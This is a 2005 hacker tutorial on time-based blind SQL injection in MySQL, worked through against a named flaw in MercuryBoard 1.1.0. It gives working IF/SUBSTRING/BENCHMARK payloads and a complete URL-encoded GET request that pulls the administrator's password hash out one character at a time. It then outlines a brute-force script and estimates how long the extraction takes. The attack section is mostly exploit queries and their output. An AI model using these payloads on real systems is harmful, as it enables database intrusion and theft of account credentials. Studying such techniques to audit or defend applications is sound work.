Blind Injection in MySQL Databases

{====================================================================}

{                            [   Zeelock-2005   ]                       }

{================================================================}

{                                                                      
       }

{                 A D V A N C E D  S Q L - I N J E C T I O N           
       }

{                                                                      
       }

{                  [   Blind Injection in MySQL Databases   ]          
       }

{                                                                      
       }

{                                                                      
       }

{=======================================================================
=======}

"Validate anything can be passed. Security lays in the inputs. " - zk

Date: 15th February 2005

Keywords: Benchmark(), IF(), "Blind Injection", "Time Delay", waitfor

Abstract

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MySQL is not an easy database for Blind SQL Injection: it displays no er
rors

when an UNION occours between two columns of different type and there is
n't a

way to make a query displaying errors from parameters passed inside the
query

itself. Many times happens that auditing the code of a php/MySQL applica
tion, we

find an injection vulnerability that is not exploitable, because we cann
ot see

the output or we see always an error cause the value retrieved is passed
to

multiple queries with a different numbers of columns before the script e
nds.

In this cases the SELECT...UNION statement isn't enough. Or not?

Injection toolbox

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A common trick is always to UNION SELECT [null,null,.. up to the right n
umber of

columns in the previous SELECT]/* to see when we get no errors, so we ca
n

procede further. Even if we know exactly the name of each COLUMN in each
TABLE,

is nearly impossible to retrieve the content if no output is displayed.

In the following examples I'll show you step by step how to retrieve the


password hash from a vulnerability discovered in MercuryBoard by codebug
.org

that seemed not to be  exploitable because you cannot see any good outpu
t.

I assume that the name of the tables is already known. (This is a common
issue,

during the auditing of Opensource scripts, or when debugging options are
active

by default).

The Vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MercuryBoard v. 1.1.0 Alberto Trivero discovered an SQL-Injection when t
he

post.php include was switched to 'reply' and the parameter 't' was passe
d.

The issue generated an error when an user is logged in an tries to perfo
rm the

following operation:

[url]http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1[/url]

The issue seemed not to be exploitable. In reality it was.

Being Ready for Blindness

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

First of all I have fully installed a vulnerable version of Mercuryboard
with

a low privileges user for the DB.

|---| DATABASE name is 'mercuryboard'|---| (let's show the tables)

mysql> SHOW TABLES;

+-------------------+

| Tables_in_mercury |

+-------------------+

| mb_active         |

| mb_attach         |

| mb_forums         |

| mb_groups         |

| mb_help           |

| mb_logs           |

| mb_membertitles   |

| mb_pmsystem       |

| mb_posts          |

| mb_replacements   |

| mb_settings       |

| mb_skins          |

| mb_subscriptions  |

| mb_templates      |

| mb_topics         |

| mb_users          |

| mb_votes          |

+-------------------+

17 rows in set (0.00 sec)

|---| As you can see Current User is a common User |---| (Never run as r
oot!)

mysql> SELECT USER();

+---------------+

| USER()        |

+---------------+

| 123@localhost |

+---------------+

1 row in set (0.00 sec)

mysql> SELECT password,USER() FROM mysql.user;

ERROR 1142: select command denied to user: '123@localhost' for table 'us
er'

mysql>

|---| The following query shows the first byte of Admin's Hash |---|

mysql> SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_grou
p = 1;

+------------------------------+

| SUBSTRING(user_password,1,1) |

+------------------------------+

| 5                            |

+------------------------------+

1 row in set (0.00 sec)

|---| The following is the first byte of Admin's Hash as ASCII number |-
--|

mysql> SELECT ASCII('5');

+------------+

| ASCII('5') |

+------------+

|         53 |

+------------+

1 row in set (0.00 sec)

Feeling the difference

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The goal is to find a way to be advised in someway that the contant we a
re

looking for is the right one. How is it possible to know if the first by
te of

Admin Hash is or not equal to '5'?

Well, in NGSS whitepaper the author simply made the query to be delayed
if the

content matched the one injected. In msSQL this was pursued with a condi
tional

IF [QUERY] waitfor [TIME]. MySQL doesn't support 'waitfor'.

In the following query I succeded in creating a delayed of 5 seconds by
using an

IF() function followed by a BENCHMARK() function. Current User can execu
te it

with low privileges (Usually you can execute the BENCHMARK() function if
you can

SELECT). That's why is so powerful.

|---| Passing a wrong number |---| (CHAR(52) is equal to '4')

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_pa
ssword,1

,1) = CHAR(52),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),nul
l) FROM

mb_users WHERE user_group = 1;

+-----------+

| active_id |

+-----------+

|         3 |

|         0 |

+-----------+

2 rows in set (0.00 sec)

In the previous example the BENCHMARK() function is not executed (Elapse
d Time

0.00 sec).

|---| Passing the matching content |---| (BENCHMARK() is executed)

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_pa
ssword,1

,1) = CHAR(53),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),nul
l) FROM

mb_users WHERE user_group = 1;

+-----------+

| active_id |

+-----------+

|         3 |

|         0 |

+-----------+

2 rows in set (5.36 sec)

In the previous example the BENCHMARK() function delayed the query by 5.
36 sec.

Prepairing for GET req

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To inject sql commands succesfully we have to clean the request from any
single

quote.

|---| Cleaning from quotes |---|

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_pa
ssword,1

,1) = CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null) FROM mb_users WHERE
user_gr

oup = 1;

+-----------+

| active_id |

+-----------+

|         3 |

|         0 |

+-----------+

2 rows in set (4.65 sec)

mysql>

Exploiting the vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

First we have to log in a Registered User with the rights to reply in th
e

current thread.

[url]http://127.0.0.1/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SEL[/url]
ECT%20IF

(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(
1))),

null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201
/*

And we'll see a slow down of a couple of seconds cause the first byte is


CHAR(53), 5.

Bruteforcing

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

For rebuilding content letter by letter is needed only a simple perl scr
ipt that

performs GET requests and wait for the answer byte after byte {..SUBSTRI
NG(strn,

[1,2,3..n],1)..} and if the response is delayed by 7 to 10 seconds, we h
ave the

right stuff. Bruteforcing could take a while with MD5 hashes, because th
ey are

alfanumeric, 32 bytes long. Fortunately not CASE SENSITIVE.

0 to 9 --> ASCII 48 to 57

a to z --> ASCII 97 to 122

In the worst case it takes about 36 requests of about 3 sec per request
plus the

delay for the right byte. A full hash in the worst case could be retrie
ved in

((3*35)+10)*32= 3622 seconds (1 hour).

Conclusion

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Even MySQL is subjected to Blind Sql Injection.

Thanks to +mala (PowerBrowsing and GA are awesome), NGSS security (for s
uch

'avanced' papers), BlueberryPie friends
--